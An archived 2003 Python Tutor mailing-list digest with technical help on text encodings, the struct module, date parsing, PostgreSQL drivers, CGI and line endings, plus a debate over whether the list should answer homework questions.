From gyromagnetic@excite.com  Sat Jun 14 17:15:02 2003
From: gyromagnetic@excite.com (gyro funch)
Date: Sat Jun 14 16:15:02 2003
Subject: [Tutor] Getting class method variable values
Message-ID: <20030614201328.9DA98B6CA@xmxpita.excite.com>

Thank you all for the suggestions.

I'm not sure which direction I'll take, but you've given me some food for thought.

-g


_______________________________________________
Join Excite! - http://www.excite.com
The most personalized portal on the Web!


From magnus@thinkware.se  Sat Jun 14 17:52:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Sat Jun 14 16:52:01 2003
Subject: N.B. SCHOOL ASSIGNMENT Re: [Tutor] Re: txt to xml using dom
In-Reply-To: <Law15-F74paczSloeXh000708d2@hotmail.com>
Message-ID: <5.2.1.1.0.20030614221320.01f42d58@www.thinkware.se>

At 09:45 2003-06-14 +1200, Tom Brownlee wrote:
>Im a tertiary student from new zealand doing python programming at the 
>moment. we have an assignment to do that involves using dom (minidom). if 
>possible can anybody help me.

We can't do your assignments as I think you understand.
We're here to help people, to encourage the use of Python,
and to learn things. We're not here to sabotage some
educational system.

If you feel that the assignment isn't reasonable, you have to
bring that up with the school.

>i have to take a course outline in .txt format and pass it through a 
>python program that outputs the .txt document into xml tags etc. that is 
>to say...txt document in = xml out (in a .txt file)

It seems to me that the difficult part here is to parse the
text file, which is not XML to begin with, so DOM won't be
of any help here, only to create the XML document once you
have built the structure. You have to figure out how to do
this on your own. DOM is really overkill for such a simple
XML format. Perhaps you should start by thinking about how
to solve it without minidom, just using plain Python?

Actaully, considering that you seem to be rather lost: Start
with a program that just prints every line in the file, line
by line, just the way they are. Then see if you can make it
detect whether lines are headings, and just print out some
arbitrary message about that. Once you can do that, you might
want to involve the DOM.

Always try to solve your problems gradually...

>if possible can i have the corrected code.

Really!

I certainly don't expect anyone here will aid you in cheating
in your class. Don't you have any instructors at school who
you can ask for help? Perhaps they can give you a nudge in the
right direction?

I also hope the teachers are smart enough to search the
internet for material they hand out in assignments, so you
should worry if you did get help. (I don't know if completely
futile attempts to cheat can lead to reprimands in New Zealand.
At my Alma Mater, you would get a three month suspension from
your studies if you were found cheating. If it was a first
offense.)

>this may seem demanding and lazy on my part but i have spent many hours on 
>this problem and utterly frustrated that it doesnt work, and as a beginner 
>im losing faith in python altogether :(

He he. As long as you don't loose your faith in yourself. Are
you suggesting that this would have been much easier in another
language, or did you expect Python to create some miracle for you?

Python will make programming much easier than most other programming
languages, but it won't solve your basic problems for you. You must
still understand what you want to achieve, and be capable of
expressing that in a clear way.

I have deliberately not looked at your code, but try to take a little
step at a time. You can't just write a program and expect it to work.
With python, you have great support to work interactively with your
file and try to extract data in various ways. Play with the interpreter.
Try to get out the first heading to begin with. When that works, try
to get all first level headings...and so on.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From magnus@thinkware.se  Sat Jun 14 18:27:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Sat Jun 14 17:27:01 2003
Subject: [Tutor] encodings
In-Reply-To: <87d6hh61v0.fsf@mail.kubtelecom.ru>
References: <5.2.1.1.0.20030613225247.01ef45c0@www.thinkware.se>
 <5.2.1.1.0.20030613225247.01ef45c0@www.thinkware.se>
Message-ID: <5.2.1.1.0.20030614225808.01fb3a48@www.thinkware.se>

At 02:37 2003-06-14 +0400, Denis Dzyubenko wrote:
>On Fri, 13 Jun 2003 23:05:53 +0200,
>  Magnus Lyck(ML) wrote to me:
>
>ML> First, you need to DECODE the koi8-r to the common format that all
>ML> encodings understand: Unicode!
>
>I tried this too! It doesn't help:

I think you musunderstood me.

If you have an 8 bit string in a particular encoding,
you can turn it into unicode with the decode method
of the string object.

If you have a unicode object, you can turn it into a
string object of suitable encoding using the encode
method of the unicode object.

If you want to convert an 8 bit string object from
one decoding to another, go via unicode.

Clearer now?

Use type() to check what type you have in each situation.

> >>> s =3D u"abc=C1=C2=D7"
> >>> s.encode('cp1251')
>Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
>   File "/usr/lib/python2.1/encodings/cp1251.py", line 18, in encode
>     return codecs.charmap_encode(input,errors,encoding_map)
>UnicodeError: charmap encoding error: character maps to <undefined>

That means that your unicode string contains values that CP1251
can't present. Does "print s" produce the output you would expect?

How does it look if you do "print s"? Does it look like cyrillic?
what about "print repr(s)". Are all values in the correct range?
Compare with something like
http://www.oasis-open.org/docbook/xmlcharent/0.3/iso-cyr1.ent

>ML> txt.decode('koi8-r').encode('cp1251')
>
> >>> txt.decode('koi8-r')
>Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
>AttributeError: decode

That means that txt is not an object of type string. If it's
a unicode object, it can't be 'koi8-r', right? If it's unicode,
it's unicode.

Look here:

 >>> u =3D u'\u042F\u042B\u042C'

Now we have a unicode representaion with three
cyrillic letters. You should be able to do
"print u" and see something reasonable. I start
with this just to create the koi8-r string, since
I don't have a russian keyboard...

 >>> u
u'\u042f\u042b\u042c'
 >>> k =3D u.encode('koi8-r')

Now I converted this to an old fashioned 8 bit string
in koi8-r encoding. Printing that looks wrong on my
system, but I guess it should look the same as the
unicode above on yours.

 >>> u2 =3D k.decode('koi8-r')

This I can convert back to unicode again if I like.
u2 should be identical with u above.

 >>> cp1251 =3D u2.encode('cp1251')

I can encode the unicode as a string object with another
compatible encoding. This certainly works here.

If you still have problems, look at the error handling issues
I wrote about.



--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language=20



From magnus@thinkware.se  Sat Jun 14 19:33:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Sat Jun 14 18:33:01 2003
Subject: [Tutor] How to make a proposal for module change to Python
 struct module?
In-Reply-To: <200306131955.42642.scott_list@mischko.com>
Message-ID: <5.2.1.1.0.20030614233434.01eaaca8@www.thinkware.se>

At 19:55 2003-06-13 -0700, Scott Chapman wrote:
>I'd like to propose an addition to the struct module, of a 'z' format
>indicator to indicate a zero/null terminated string.

Whether you use 'p' or 's' when you pack data, Python
will fill up the remaining space with nulls. If you
create the strings in Python and unpack them in Python
and don't want a trailing string of nulls, use 'p', not
's', or do .replace('\0','') on the string. (Note that
Python doesn't consider \0 to be whitespace, so .strip()
or .rstrip() won't work.

>How are these proposals made?

For big things: Write a PEP. See the Python site. For smaller
issues, it's probably better to just ask on the main python
mailing list a.k.a. comp.lang.python, or on the python
developers mailing list if you don't feel that you want a
broader discussion first. I guess you can also file a feature
request on Sourceforge.

>(or is 's' format with no preceeding number going to accomplish this?)

It's probably a good idea to make a proper test before you
suggest a language change. ;) Actually, I think you should try
out such a thing instead of aking here. It takes about fifteen
seconds to check if you have Python running. (And you always
have, right? ;) It's not more typing than you do when you write
the question. As you can thus quickly verify, an 's' without a
preceeding number will just store the first value in the provided
string when you pack. On unpack, you will get an error unless your
format string has a size that matches the packed string.

For the Python development process, see:
http://www.python.org/dev/
http://www.python.org/peps/

If your objective is to allow structs to vary in size, I don't
think you will convince anyone. As you see if you do

import struct
help(struct)

"Functions to convert between Python values and C structs."

A C struct is fixed in size, right? It can't contain character
arrays of variable size that are malloc'd, only pointers to them.
Any "string" actually stored in the struct will have an allocated
size. This is the data structure the struct module intends to
capture. You will hardly convince anyone into making it into some
generic converter for binary data.

If your objective is just to avoid having to do .replace('\0', '')
you might possibly get agreement to that. I suppose it's more
likely that you get it included if you actually implement the
code that does it... :)

The code in question is written in C and called structmodule.c.
The relevant part for unpacking is in the end, and looks like
this:
         ...
         if (c == 's') {
                 /* num is string size, not repeat count */
                 v = PyString_FromStringAndSize(str, num);
                 if (v == NULL)
                         goto fail;
                 str += num;
                 num = 0;
         }
         ...

I guess you should follow this up with (c == 'z') and just find
the first null in 'str' before you call PyString_FromStringAndSize
so that you can find a proper value for the second paramter to
use instead of num.

For packing, s and z should do the same thing, right?

Besides this coding, tests should be written, and the library manual
and source code doc strings should be updated.

If you offer to do these things, I think it's likely that it will
be accepted even if there is no big desire from other people to have
it. But if you expect someone else to do the work, I really think
you need to convince Guido that there is a real need for this feature.
No python core developers have too little to do, and plenty of free
time... Writing code and docs is probably much better spent time than
arguing a case anyway... Both for learning, for sense of fulfillment,
for the impression you make on the Python community and above all, for
the chances of getting it into the code...


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From magnus@thinkware.se  Sat Jun 14 19:48:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Sat Jun 14 18:48:01 2003
Subject: [Tutor] python date::manip like module?
In-Reply-To: <200306140856.30281.decibelshelp@charter.net>
Message-ID: <5.2.1.1.0.20030615003811.01f9f238@www.thinkware.se>

At 08:56 2003-06-14 -0500, Decibels wrote:
>Does any one know if there is a module like perl Date::Manip
>so you can enter information like:
>
>today
>1st thursday in June 1992
>05/10/93
>12:30 Dec 12th 1880
>8:00pm december tenth
>yesterday
>,........

I don't know of anything quite as elaborate as that.
The mx.DateTime module at www.egenix.com is quite powerful,
but I don't think it will parse all those strings.

For Python 2.3, there is a new datetime module, but I
don't think it will do things like that.

If I remember correctly, the bug tracking program "roundup"
http://roundup.sourceforge.net/ has a fairly elaborate
date parser. See
http://roundup.sourceforge.net/doc-0.6/user_guide.html#date-properties

See also http://py.vaults.ca/apyllo.py?find=date

I wouldn't mind seeing something like that written on top of
datetime.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From D.J.Kniep@chello.nl  Sat Jun 14 20:04:02 2003
From: D.J.Kniep@chello.nl (Dick Kniep)
Date: Sat Jun 14 19:04:02 2003
Subject: [Tutor] PostgreSQL driver recommendations?
In-Reply-To: <20030614112924.A31405@outreachnetworks.com>
References: <20030614112924.A31405@outreachnetworks.com>
Message-ID: <1055631916.1446.19.camel@server.kniep>

Hi,

try pyPgsql, I have been using it for 8 months now and it works
perfectly, especially if you combine it with SQLDict.

Good luck
Dick

> http://www.python.org/topics/database/modules.html
> 
> lists at least three modules for PostgreSQL [some not actively maintained].
> 





From magnus@thinkware.se  Sat Jun 14 20:08:02 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Sat Jun 14 19:08:02 2003
Subject: [Tutor] PostgreSQL driver recommendations?
In-Reply-To: <20030614112924.A31405@outreachnetworks.com>
Message-ID: <5.2.1.1.0.20030615005123.00bac2c8@www.thinkware.se>

If GPL is no problem for you, I'd suggest psycopg. It seems to be
both fast, well maintained and popular. Look in the archives of the
db-sig mailing list for some comparisions and benchmarks.

In particular, look in the beginning of this month (June 2003)
for the thread "Python/PostgreSQL API performance comparison".

I think I've heard complaints about all modules except psycopg.

At 11:29 2003-06-14 -0400, Eric L. Howard wrote:
>http://www.python.org/topics/database/modules.html
>
>lists at least three modules for PostgreSQL [some not actively maintained].

There are four maintained modules I think:
  * The one included in PostgreSQL (PyGreSQL)
  * pyPgSQL
  * psycopg
  * PoPy (the last release isn't extremely recent, but PoPy isn't abandoned.)

>Which of the actively maintained modules would be best recommended?  I've
>searched the db-sig archives @ activestate, but haven't been able to find a
>straight-forward answer.  I'm waiding into hooking python in to DBs and am
>looking for advice from a tutor...

All four work. At least most of the time... See the above
mentioned thread.



--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From antone.heyward@verizon.net  Sat Jun 14 20:11:33 2003
From: antone.heyward@verizon.net (Antone)
Date: Sat Jun 14 19:11:33 2003
Subject: [Tutor] Updating webpage
Message-ID: <000001c332ca$156eee80$6001a8c0@blakout>

I know this may not be a python question but I am using python to write cgi.
And I don't know how you have a button update the current page. Example
would be like a "shopping cart" on amazon.com web site. I am trying to get
some code were when the submit button is pressed it will remove or add a
line from the webpage and leave the rest as it was. Any help would be
appreciated.



From tutor.python.org@pooryorick.com  Sat Jun 14 20:18:02 2003
From: tutor.python.org@pooryorick.com (tutor.python.org)
Date: Sat Jun 14 19:18:02 2003
Subject: [Tutor] A rant about Tutor homework policy
Message-ID: <3EEBAC1B.1070606@pooryorick.com>

With all due respect to the great minds which inhabit this list, I wish 
to make known my opinion that this list would be more beneficial to all 
if homework-related questions were not discriminated against.  To my 
mind, one of the key values of the hacker culture is the free flow of 
useful information, with each individual deciding for themselves what 
knowledge to partake of.  When I am attempting to solve a problem, I 
believe I know better than any third party what kind of assistance I 
need.  No matter how many solutions are given away to me through this or 
any other list, there is a never-ending supply of new problems to chew 
on.  In high school I had books which only published the answers to 
odd-numbered questions, which drove me absolutely nuts.  Supposedly, 
this was to make think and come up with the answers independently, but 
what it really did was deprive me of valuable feedback which I needed to 
make sure I was doing things correctly.  Each person is unique, and in 
the course of their education come to unique stumbling blocks.  Why 
should we be concerned about whether or not we are helping someone cheat 
their way through school?  Why should we care about sabotaging this or 
that educational system?  Ultimately, it is the individual who decides 
whether they will pursue real understanding, and no amount of integrity 
policing by this list will change an individual's inner motives.  I for 
one would love to see this list set politics aside and provide more 
answers to standard computer science problems.  I have never been 
enrolled in a university as a student of computer science and probably 
never will be.  If valuable resources on the Internet decide not to 
publish fundamental information regarding computer science for fear of 
stepping on the toes of "educational institutions", then the knowledge 
will effectively be limited to participants of those institutions.    I 
say, make the information available to everyone, and let the cheaters 
cheat!  After all, they're going to cheat anyway.  The rest of us will 
avail ourselves of what information we need when we need it in order to 
gain as much understanding as possible in the few short years we have 
before the task of pushing up daisies falls to us.

Sincerely,

Poor Yorick
tutor.python.org@pooryorick.com



From thomi@thomi.imail.net.nz  Sat Jun 14 20:18:13 2003
From: thomi@thomi.imail.net.nz (Thomas CLive Richards)
Date: Sat Jun 14 19:18:13 2003
Subject: [Tutor] Updating webpage
In-Reply-To: <000001c332ca$156eee80$6001a8c0@blakout>
References: <000001c332ca$156eee80$6001a8c0@blakout>
Message-ID: <20030615111729.3aa0c8f2.thomi@thomi.imail.net.nz>

> I know this may not be a python question but I am using python to
> write cgi. And I don't know how you have a button update the current
> page. Example would be like a "shopping cart" on amazon.com web site.
> I am trying to get some code were when the submit button is pressed it
> will remove or add a line from the webpage and leave the rest as it
> was. Any help would be appreciated.

what particular area are you having trouble with? I assume you have a
CGI which prints out a static page? then read the documentation in the
cgi module. Then it's just a matter of building a program which takes
some sort of CGI input value, and prints the page accordingly. Or maybe
I've misunderstood your problem ;)

-- 

Thomi Richards,
thomi@thomi.imail.net.nz



From antone.heyward@verizon.net  Sat Jun 14 20:29:02 2003
From: antone.heyward@verizon.net (Antone)
Date: Sat Jun 14 19:29:02 2003
Subject: [Tutor] Updating webpage
In-Reply-To: <20030615111729.3aa0c8f2.thomi@thomi.imail.net.nz>
Message-ID: <000001c332cc$a95ce320$6001a8c0@blakout>

The page is cgi and it prints information gathered from a previous page and
from a database. On the same page you can add "things" from a list. I want
to have that "thing" update to show that it was added on the current page.

-----Original Message-----
From: tutor-admin@python.org [mailto:tutor-admin@python.org] On Behalf Of
Thomas CLive Richards
Sent: Saturday, June 14, 2003 7:17 PM
To: tutor@python.org
Subject: Re: [Tutor] Updating webpage


> I know this may not be a python question but I am using python to 
> write cgi. And I don't know how you have a button update the current 
> page. Example would be like a "shopping cart" on amazon.com web site. 
> I am trying to get some code were when the submit button is pressed it 
> will remove or add a line from the webpage and leave the rest as it 
> was. Any help would be appreciated.

what particular area are you having trouble with? I assume you have a CGI
which prints out a static page? then read the documentation in the cgi
module. Then it's just a matter of building a program which takes some sort
of CGI input value, and prints the page accordingly. Or maybe I've
misunderstood your problem ;)

-- 

Thomi Richards,
thomi@thomi.imail.net.nz


_______________________________________________
Tutor maillist  -  Tutor@python.org
http://mail.python.org/mailman/listinfo/tutor



From magnus@thinkware.se  Sat Jun 14 20:37:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Sat Jun 14 19:37:01 2003
Subject: [Tutor] file eats first character, film at 11
In-Reply-To: <3EEB5034.4060808@netzero.net>
Message-ID: <5.2.1.1.0.20030615011508.01eaa830@www.thinkware.se>

At 12:41 2003-06-14 -0400, Kirk Bailey wrote:
>ok, I wrote a program to strip out the ms-dos CRLF charpair, replacing 
>with a single \n char. Works fine.

That seems like a rather longwinded way of doing (untested) ...

import sys
LINE_BREAK = '\n'

if len(sys.argv) == 1:
     # No file names on command line
     sys.argv.append(raw_input('Enter file name: '))

for fn in sys.argv[1:]:
     f = file(fn, 'r')
     data = f.read()
     f.close()

     f = file(fn, 'w')
     f.write(LINE_BREAK.join(data.splitlines())+LINE_BREAK)
     f.close()

Note that a difference between DOS and Unix text files beyond
the use of \r\n instead of just \n, is that Unix expects the
file to have a final \n after the last line. Otherwise this
line is often considered incomplete. Typically, Unix editors
will always add a \n in the end of the file, while for instance
notepad.exe won't unless yo end your file with an explicit
line break (Enter). Just replacing all \r\n with \n won't fix
that, but requires an extra check to see that the file ends
with \n.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From alan.gauld@blueyonder.co.uk  Sat Jun 14 20:57:01 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Sat Jun 14 19:57:01 2003
Subject: [Tutor] A rant about Tutor homework policy
References: <3EEBAC1B.1070606@pooryorick.com>
Message-ID: <012201c332d0$cba52510$6401a8c0@xp>

> if homework-related questions were not discriminated against.

They aren't discriminated against.
We just won't do the homework for you.
Thus if you ask a specific question, preferrably showing some attempt
at a solution you can expect to get a sensible answer.

But if you pose a question and ask other people on the list to
just provide the solution for what is obviously a homework question
then you can expect short shrift.

The same applies to anyone else too, if they just ask for code
to do something just because they can't be bothered learning how
then they will be advised to hire a professional at professional
rates!

Most of the tutors are professionals who normally expect to be
paid $50-100 per hour for their time. We are not in the business
of giving that for free unless we are convinced that the need is
both genuine and worthwhile. That is our freedom of choice.

> mind, one of the key values of the hacker culture is the free flow
of
> useful information, with each individual deciding for themselves
what
> knowledge to partake of.

And each deciding what and when to give...

> never will be.  If valuable resources on the Internet decide not to
> publish fundamental information regarding computer science

Nothing is being witheld, there are myriad web sites for those
questions, if you care to search. The tutors here will answer
any reasonable question. Just don't expect them to spend their
valuable time doing your work for free!

In all of this the python tutor list follows long established
internet etiquette, it has worked pretty well for the last 20
years or so...

Alan G.



From project5@redrival.net  Sat Jun 14 22:45:01 2003
From: project5@redrival.net (Andrei)
Date: Sat Jun 14 21:45:01 2003
Subject: [Tutor] Re: A rant about Tutor homework policy
In-Reply-To: <3EEBAC1B.1070606@pooryorick.com>
References: <3EEBAC1B.1070606@pooryorick.com>
Message-ID: <bcgir1$4ig$1@main.gmane.org>

tutor.python.org wrote:
> With all due respect to the great minds which inhabit this list, I wish 
> to make known my opinion that this list would be more beneficial to all 
> if homework-related questions were not discriminated against.  To my 

Your homework (and your work in general) is not something others should 
do for you. Specific questions (I can't figure out Z and I tried X and 
Y) will probably get answers, but "I got this assignment/program to 
make, why don't YOU make it for me", will most likely not get answers. 
I'm not a software professional but a nearly ex-student (just finished 
my MSc program) in a not computer related field, meaning my time isn't 
valued at 100 $/hour (yet). But I still won't help arrogant individuals 
who want others to do their work for them, even if that particular task 
would be trivial even for me to solve.

> mind, one of the key values of the hacker culture is the free flow of 
> useful information, with each individual deciding for themselves what 
> knowledge to partake of.  When I am attempting to solve a problem, I 

One of the key values of human society is honesty: don't cheat, do your 
own work. People who thrive on other people's work are parasites, at 
least that's my opinion.

> believe I know better than any third party what kind of assistance I
> need.  No matter how many solutions are given away to me through this or 

Not necessarily, you know what assistance you'd WANT, but not always 
what assistance you *need*. What you usually *need* is to learn to solve 
problems, not to find people who solve your problems for you, even 
though that might be what you *want* (because you forgot to pay 
attention in class or whatever).

> any other list, there is a never-ending supply of new problems to chew 
> on.  In high school I had books which only published the answers to 

Yep, so start with the problems that your education puts forward and 
when you're done with those, continue with new ones from that 
never-ending supply.

> odd-numbered questions, which drove me absolutely nuts.  Supposedly, 
> this was to make think and come up with the answers independently, but 
> what it really did was deprive me of valuable feedback which I needed to 
> make sure I was doing things correctly.  Each person is unique, and in 

This might come as a surprise to you, but I know (from experience) that 
lots of people will then just copy the answers, as at that age they 
don't understand they don't learn anything from copying. If you are 
unsure about the outcome of your exercises, ask your teacher, that's 
what teachers are for. Oh, but wait, good teachers won't just hand you 
the answer, they'll want to see what you tried first.

> the course of their education come to unique stumbling blocks.  Why 
> should we be concerned about whether or not we are helping someone cheat 
> their way through school?  Why should we care about sabotaging this or 

Because I might have to work with that clueless, incompetent cheater 
(smart and competent persons don't have to cheat). I've had to work with 
them and it's never a beneficial situation to the person who does knows 
his things and ends up doing all the work. And if I don't have to work 
with that character, I might have to deal with him in some other way, 
which leads to similarly annoying situations.

> that educational system?  Ultimately, it is the individual who decides 
> whether they will pursue real understanding, and no amount of integrity 
> policing by this list will change an individual's inner motives.  I for 

Cheating is wrong, just like stealing is wrong. Does it hurt me if you 
steal a motorbike? Not at all: I don't own one, so it's not very likely 
to be mine, or for that matter of anyone I know. But I still won't lend 
you a hand.

> never will be.  If valuable resources on the Internet decide not to 
> publish fundamental information regarding computer science for fear of 
> stepping on the toes of "educational institutions", then the knowledge 
 > will effectively be limited to participants of those institutions.

Answers to questions from educational books are NOT fundamental 
information. There are plenty of tutorials and e-books on the internet 
about a lot of subjects: THAT is the fundamental information. Answers 
without the questions and theory have no value whatsoever. If you want 
to know more about a subject, can't find anything on the internet and 
don't have the money to buy a book, go to a library and borrow a book.

> I say, make the information available to everyone, and let the cheaters 
> cheat!  After all, they're going to cheat anyway.  The rest of us will 

They will *try* to cheat, but there's no point in making it as easy as 
possible: a thief will break into your house anyway if he wants to, but 
I bet you still lock your doors.

> avail ourselves of what information we need when we need it in order to 
> gain as much understanding as possible in the few short years we have 

Understanding tends to come from learning, not from copying.

If you're not happy, you're a free person and you can start The Big 
Cheat-Your-Way-Through-Life campaign. But I should give you a word of 
warning here: I have seen websites which provide large numbers of 
pre-made highschool assignments, submitted by highschool students. All 
the assignments I saw there (I browsed through about a hundred) were of 
poor to extremely poor quality (some of them were copied and pasted from 
other assignments on that same website, ironically enough). In other 
words, incompetent cheaters trying to help other incompetent cheaters, 
with the net result being of hilariously bad quality.

Andrei


=====
Mail address in header catches spam. Real contact info (decode with rot13):
cebwrpg5@bcrenznvy.pbz. Fcnz-serr! Cyrnfr qb abg hfr va choyvp cbfgf. V 
ernq gur yvfg, fb gurer'f ab arrq gb PP.




From magnus@thinkware.se  Sat Jun 14 23:20:02 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Sat Jun 14 22:20:02 2003
Subject: [Tutor] A rant about Tutor homework policy
In-Reply-To: <3EEBAC1B.1070606@pooryorick.com>
Message-ID: <5.2.1.1.0.20030615014146.01eade38@www.thinkware.se>

At 17:13 2003-06-14 -0600, tutor.python.org wrote:
>With all due respect to the great minds which inhabit this list, I wish to 
>make known my opinion

You are clearly free to do that, and I hope I can help you
understand and respect my view of this.

>To my mind, one of the key values of the hacker culture is the free flow 
>of useful information,

That depends on how you define "free flow of useful information".
*I* don't find it useful for *anyone* to help someone pass a test
that the student doesn't really understand. If I provide the
solution to an assignment as was requested just recently, I would
not only provide information, I would actively and knowingly take
part in cheating at an educational institution, where teachers
work hard to try to help their students to actually learn important
things. My parents were teachers, one of my sisters is one now, and
I occationally do computer training, so I know a little about the
hard work and dedication that is the foundation of good education.

I don't want to be even remotely connected to that so-called hacker
culture that claims that "information wants to be free" and takes that
as an excuse for breaking into computer systems or abusing telephone
systems. I once translated Eric S. Raymond's How To Become A Hacker
and from the emails I got from wannabe crackers after that, I know
how difficult it is for people to understand what I feel is true hacker
culture---even if Raymond is very explicit.

But just like some who cheat their way though education, those
wannabe crackers aren't in it to develop their minds or to learn,
or even to solve real problems. They just want a free ride. So they
can't even be bothered to read the hacker howto properly.

The original is now at http://catb.org/~esr/faqs/hacker-howto.html
There's a link to my translation if anyone is interested in that.

The mentality that Eric portrays there, which I can fully understand,
but not fully agree with, is certainly not the mentality of someone
who would respect or aid the cheating student, or the person who did
his homework for him. I feel that a somewhat more humble attitude is a
good thing, but basically I agree that if I am to help someone, this
person should show that he is trying to learn and that he is trying
to help me help him. Why would I help someone who just expects me to
do a job for him for free?

I believe in old fashioned values such as truth, honesty, respect
integrity and responsibility for ones actions. I have little respect
for cheating, lies and fraud.

It's one thing if someone honestly asks for help to try to understand
some aspect of Python or programming in general. If you have followed
this mailing list, you will have seen attempts by several people to
try to help people actually understand what it is they are doing, without
just providing an answer that they might well use without understanding it.

As a professional computer consultant, I feel that my responsibility
is *always* to help my customer the best way I can. Very often this is
not the same thing as giving straight and simple answers to their
questions. It's often a matter of getting them on a different track.

>When I am attempting to solve a problem, I believe I know better than any 
>third party what kind of assistance I need.

It's my experience that I usually help people more by
forcing them to explain what they are doing, by
sometimes provoking them and by pushing their eyes off
their code into a wider field of ideas, than by simply
answering their detail questions.

I've seen consultants who earn lots of money (at least
for a while) by always doing exactly what they are told,
and by always answering just the one questions they are
asked, even though they know very well that the customer
is completely on the wrong track. Often, this will mean
that they will get more work... I think that they are
dishonest and a disgrace to the trade.

It's my conviction that helping someone to cheat their
way through education is not helpful, but destructive.

>Why should we care about sabotaging this or that educational system?

I for one value higher education. I certainly believe that the
important thing is what we learn and how we use what we have
learnt, not how we aquired this learning, but I do think that
the formal educational systems are valuable, and that cheating
makes them less valueable.

I feel like this because of the way the educational system I went
through helped me to develop intellectually and professionaly. I
want others to get this possibility as well.

If someone gets to the point where he tries to get someone else
make a complete and working program that he can hand in as his
own work and get credit for, I think the best thing I can do
is to make it clear to his person that what he is about to do is
destructive, and to try to help him actually solve the problem
himself.

>Ultimately, it is the individual who decides whether they will pursue real 
>understanding,

True.

>and no amount of integrity policing by this list will change an 
>individual's inner motives.

Maybe. But I don't want to assist in things that seem destructive
to me, and I do think that people are at least partly shaped by
the attitudes they meet. By helping someone cheat in a friendly
manner, I would also encourage him to cheat again, and make him
feel more ok about cheating.

I'd much rather have someone remember me as having been helpful
ten years later, rather than the day after handing in that homework
that he couldn't manage to do on his own.

I actually think I help people who try to cheat by showing them
that I find that unacceptable. In the short term, it's easy to
dismiss people who are negative and don't want to go along with
the things you want, but in the long run, must of us let these
things sink in.

>I for one would love to see this list set politics aside and provide more 
>answers to standard computer science problems.

We do that when we get questions from people who actually come
here to learn Python. Don't you think so? I'm not a bit interested
in helping someone who is basically trying to get help so that he
can avoid learning Python, but still get a degree where it says
that he is a trained Python programmer.

Actually, one of the main reasons that I answer questions on this
mailing list is that I want to see Python more widely used. Both
because I think it will benefit me, and because I think it will
benefit development in the world in general. We're all better off
if people can accomplish more results with smaller efforts.

For this to come true, use of Python in higher education is an
important factor. The more Python is used in education, the more
Python programmers and Python programs we will see in the long
run. Many people will try to bring the tools they liked from
their education to their future jobs. Particuarly for a product
without a powerful marketing machinery, such things matters a lot.
I certainly don't want to sabotage that.

>If valuable resources on the Internet decide not to publish fundamental 
>information regarding computer science for fear of stepping on the toes of 
>"educational institutions", then the knowledge will effectively be limited 
>to participants of those institutions.

I don't see that this has ever happened. Dumping a buggy code
listing and a spec on the mailing list and asking for a corrected
version to be provided is not at all the same as asking for
fundamental computer science information.

I'm in Sweden. You don't honestly think I worry about "stepping on
toes" in New Zealand? It's not about this at all. It's a matter of
right and wrong. I don't believe a bit in the "authority" in a formal
educational system. I believe in the educational substance, in learning
and knowledge. The authority and the "institutions" are all surface.

Good programmers are usually more interested in depth than in surface.
That's one reason why it's said that managing programmers is like
herding cats. :)

>I say, make the information available to everyone, and let the cheaters 
>cheat!
>After all, they're going to cheat anyway.

As Alan said, this is not about restricting information. We don't just
turn some knob to let "information" flow out of our brains when we reply
to a question. To provide a good answer to a question requires an effort,
and I won't make that effort unless I think it's worth it.

Helping someone to cheat just because they "will do it anyway" sound a bit
like the moral defence of drug dealers. I will certainly not put myself in
that position.

>The rest of us will avail ourselves of what information we need when we 
>need it in order to gain as much understanding as possible in the few 
>short years we have before the task of pushing up daisies falls to us.

I think we will have much more time to solve real problems, and to
help people who genuinely try to learn if the cheaters go away.
Helping them will only encourage more cheating and attract more of
them.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From gus.tabares@verizon.net  Sat Jun 14 23:35:02 2003
From: gus.tabares@verizon.net (Gus Tabares)
Date: Sat Jun 14 22:35:02 2003
Subject: [Tutor] A rant about Tutor homework policy
In-Reply-To: <5.2.1.1.0.20030615014146.01eade38@www.thinkware.se>
Message-ID: <LFEJJJNJEBIGPEPEPLIPOEEICAAA.gus.tabares@verizon.net>

>The original is now at http://catb.org/~esr/faqs/hacker-howto.html
>There's a link to my translation if anyone is interested in that.

Magnus, I am interested. I'm not sure I follow you though, is your
translation link actually on Eric's howto? If so, I cannot seem to find it.
Otherwise, I'd be happy to see it:)


/Gus



_______________________________________________
Tutor maillist  -  Tutor@python.org
http://mail.python.org/mailman/listinfo/tutor



From hillcino368@hotmail.com  Sun Jun 15 00:21:02 2003
From: hillcino368@hotmail.com (cino hilliard)
Date: Sat Jun 14 23:21:02 2003
Subject: [Tutor] A rant about Tutor homework policy
Message-ID: <Law15-F59Ui9n8gYq4Z00025912@hotmail.com>

I agree 100%. Either answer the question or delete it. Who needs a lecture 
on "you should do you own home work" etc.

>From: "tutor.python.org" <tutor.python.org@pooryorick.com>
>To: tutor@python.org
